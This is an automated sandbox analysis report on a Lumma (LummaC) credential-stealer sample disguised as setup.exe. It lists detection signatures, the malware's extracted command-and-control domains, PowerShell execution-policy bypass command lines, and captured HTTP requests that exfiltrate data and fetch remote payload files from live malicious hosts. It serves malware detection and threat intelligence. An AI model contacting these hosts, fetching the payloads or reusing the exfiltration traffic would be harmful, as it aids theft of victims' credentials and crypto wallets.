Edit tour

Windows Analysis Report
setup.exe

Overview

General Information

Sample name:	setup.exe
Analysis ID:	1580127
MD5:	e9f9e4ddb34cbef682e650569394a4e3
SHA1:	6080ccbce12a6d6d7c8f10eb1450bb1bfaeeee51
SHA256:	5817797078316deff79a91222fe359ddedbbecce35740de4ca11cbc88c6f8c2f
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sigma detected: Invoke-Obfuscation Via Stdin

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Change PowerShell Policies to an Insecure Level

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

setup.exe (PID: 3448 cmdline: "C:\Users\user\Desktop\setup.exe" MD5: E9F9E4DDB34CBEF682E650569394A4E3)

powershell.exe (PID: 7164 cmdline: powershell -exec bypass error code: 523 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6628 cmdline: powershell -exec bypass <!DOCTYPE html>     <html class="no-js" lang="en-US">  <head> <title>Suspected phishing site | Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />  <style>body{margin:0;padding:0}</style>  <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script>  </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="7hyQL7q5CobImDmxFKBooYHwB7YP8UpEiGhRamQe27s-1734999453-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> </div> </div> </div> <div id="ts-blocks" style="display:none;"></div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8f6c68b55c464210</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span> </p> <script>(function(){function d(){var b=a.getElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLoaded",d)})();</script> </div> </div> </div> <script> window._cf_translation = {}; </script> </body> </html> MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["slipperyloo.lat", "talkynicer.lat", "sickyicyerh.click", "manyrestro.lat", "wordyfindy.lat", "shapestickyr.lat", "curverpluch.lat", "tentabatte.lat", "bashfulacid.lat"], "Build id": "hRjzG3--SBER"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.2223164256.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x4c955:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000003.2222949494.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2222778947.0000000000726000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: setup.exe PID: 3448	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: setup.exe PID: 3448	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: setup.exe PID: 3448	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation Via Stdin

Source: Process started

Author: Nikita Nazarov, oscd.community: Data: Command: powershell -exec bypass <!DOCTYPE html>     <html class="no-js" lang="en-US">  <head> <title>Suspected phishing site | Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />  <style>body{margin:0;padding:0}</style>  <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script>  </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="7hyQL7q5CobImDmxFKBooYHwB7YP8UpEiGhRamQe27s-1734999453-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> </div> </div> </div> <div id="ts-blocks" style="display:none;"></div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass error code: 523, CommandLine: powershell -exec bypass error code: 523, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\setup.exe", ParentImage: C:\Users\user\Desktop\setup.exe, ParentProcessId: 3448, ParentProcessName: setup.exe, ProcessCommandLine: powershell -exec bypass error code: 523, ProcessId: 7164, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass error code: 523, CommandLine: powershell -exec bypass error code: 523, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\setup.exe", ParentImage: C:\Users\user\Desktop\setup.exe, ParentProcessId: 3448, ParentProcessName: setup.exe, ProcessCommandLine: powershell -exec bypass error code: 523, ProcessId: 7164, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass error code: 523, CommandLine: powershell -exec bypass error code: 523, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\setup.exe", ParentImage: C:\Users\user\Desktop\setup.exe, ParentProcessId: 3448, ParentProcessName: setup.exe, ProcessCommandLine: powershell -exec bypass error code: 523, ProcessId: 7164, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T01:17:09.964578+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.82.188	443	TCP
2024-12-24T01:17:11.963653+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.82.188	443	TCP
2024-12-24T01:17:14.279865+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.82.188	443	TCP
2024-12-24T01:17:16.543990+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.82.188	443	TCP
2024-12-24T01:17:18.747289+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.82.188	443	TCP
2024-12-24T01:17:21.280418+0100	2028371	3	Unknown Traffic	192.168.2.5	49713	104.21.82.188	443	TCP
2024-12-24T01:17:23.433301+0100	2028371	3	Unknown Traffic	192.168.2.5	49720	104.21.82.188	443	TCP
2024-12-24T01:17:25.480876+0100	2028371	3	Unknown Traffic	192.168.2.5	49727	104.21.82.188	443	TCP
2024-12-24T01:17:27.957914+0100	2028371	3	Unknown Traffic	192.168.2.5	49733	104.21.27.229	443	TCP
2024-12-24T01:17:32.751193+0100	2028371	3	Unknown Traffic	192.168.2.5	49744	172.67.191.144	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T01:17:10.717492+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.82.188	443	TCP
2024-12-24T01:17:12.722344+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.82.188	443	TCP
2024-12-24T01:17:26.569289+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49727	104.21.82.188	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T01:17:10.717492+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.82.188	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T01:17:12.722344+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.82.188	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T01:17:22.030892+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49713	104.21.82.188	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://kliptizq.shop/	Avira URL Cloud: Label: malware
Source: https://neqi.shop/sdgjyut/psh.txt	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/s	Avira URL Cloud: Label: malware
Source: https://neqi.shop/	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/int_clp_ldr_sha.txtR3Y	Avira URL Cloud: Label: malware
Source: https://neqi.shop/sdgjyut/psh.txtOb)	Avira URL Cloud: Label: malware
Source: https://neqi.shop/sdgjyut/psh.txt3b=	Avira URL Cloud: Label: malware
Source: https://neqi.shop/=b7	Avira URL Cloud: Label: malware

Found malware configuration

Source: setup.exe.3448.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["slipperyloo.lat", "talkynicer.lat", "sickyicyerh.click", "manyrestro.lat", "wordyfindy.lat", "shapestickyr.lat", "curverpluch.lat", "tentabatte.lat", "bashfulacid.lat"], "Build id": "hRjzG3--SBER"}

Multi AV Scanner detection for submitted file

Source: setup.exe

Virustotal: Detection: 9%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.3% probability

Source: setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.229:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.144:443 -> 192.168.2.5:49744 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2368450658.000000000335A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdblq source: powershell.exe, 00000003.00000002.2382410682.00000000088A8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\setup.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49727 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49713 -> 104.21.82.188:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: sickyicyerh.click
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat

Source: Joe Sandbox View

IP Address: 172.67.191.144 172.67.191.144

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49713 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49744 -> 172.67.191.144:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49727 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49720 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.82.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49733 -> 104.21.27.229:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sickyicyerh.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: sickyicyerh.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=F6A93ZJZXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12780Host: sickyicyerh.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HLM3HDCLHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15022Host: sickyicyerh.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=75ISQMSXNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20512Host: sickyicyerh.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TX5STMGPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1184Host: sickyicyerh.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=I866UGUTN3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1068Host: sickyicyerh.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 113Host: sickyicyerh.click
Source: global traffic	HTTP traffic detected: GET /sdgjyut/psh.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: neqi.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_ldr_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: kliptizq.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /sdgjyut/psh.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: neqi.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_ldr_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: kliptizq.shop

Source: global traffic	DNS traffic detected: DNS query: sickyicyerh.click
Source: global traffic	DNS traffic detected: DNS query: neqi.shop
Source: global traffic	DNS traffic detected: DNS query: kliptizq.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sickyicyerh.click

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 24 Dec 2024 00:17:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j7DS6dx1ZnlIPdu66HNxgp4N0GycEHRAPhVl2Yag3XgyOykTnXiu8nce2OZ%2BezfWOnG1FxJXRai17nVwv2ut7CywyTktglWvv%2BH6%2FODqgn09lNvAJ5FXaAz1kDakCoeb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f6c68b55c464210-EWR

Source: setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: setup.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000003.00000002.2380224597.00000000078BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi919
Source: powershell.exe, 00000003.00000002.2382329138.0000000008872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000003.00000002.2382410682.0000000008894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: setup.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: setup.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: setup.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: setup.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
